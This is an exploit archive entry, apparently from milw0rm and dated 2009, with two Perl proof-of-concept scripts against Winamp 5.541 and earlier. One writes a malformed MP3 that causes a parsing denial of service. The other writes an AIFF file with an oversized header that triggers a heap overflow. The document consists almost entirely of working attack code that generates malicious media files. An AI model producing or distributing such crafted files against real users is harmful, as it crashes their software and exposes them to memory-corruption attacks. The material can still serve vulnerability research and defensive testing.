35 lines
No EOL
1.3 KiB
Text
35 lines
No EOL
1.3 KiB
Text
################################################################################################################################
|
|
#Winamp <= 5.541 multiples Denial of Services (MP3/AIFF)
|
|
#
|
|
# Winamp MP3 file parsing DoS ==>
|
|
#!/usr/bin/perl
|
|
use strict;
|
|
my $mp3 =
|
|
"\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x54\x49\x54\x32\x00\x00\x00\x08\x00\x00\x00".
|
|
"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e".
|
|
"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x62\x6c\x61\x62\x6c\x61\x20".
|
|
"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
my $mp32 =
|
|
"\x20" x 1500;
|
|
|
|
open(out, "> test.mp3");
|
|
binmode(out);
|
|
print (out $mp3, $mp32);
|
|
close(out);
|
|
|
|
#### Winamp AIFF file parsing header heap overflow :
|
|
#!/usr/bin/perl
|
|
use strict;
|
|
my $aiff =
|
|
"\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d\x41\x41\x41\x41".
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4".
|
|
"\x00";
|
|
open(out, "> test.aiff");
|
|
binmode(out);
|
|
print (out $aiff);
|
|
close(out);
|
|
|
|
# milw0rm.com [2009-01-12] |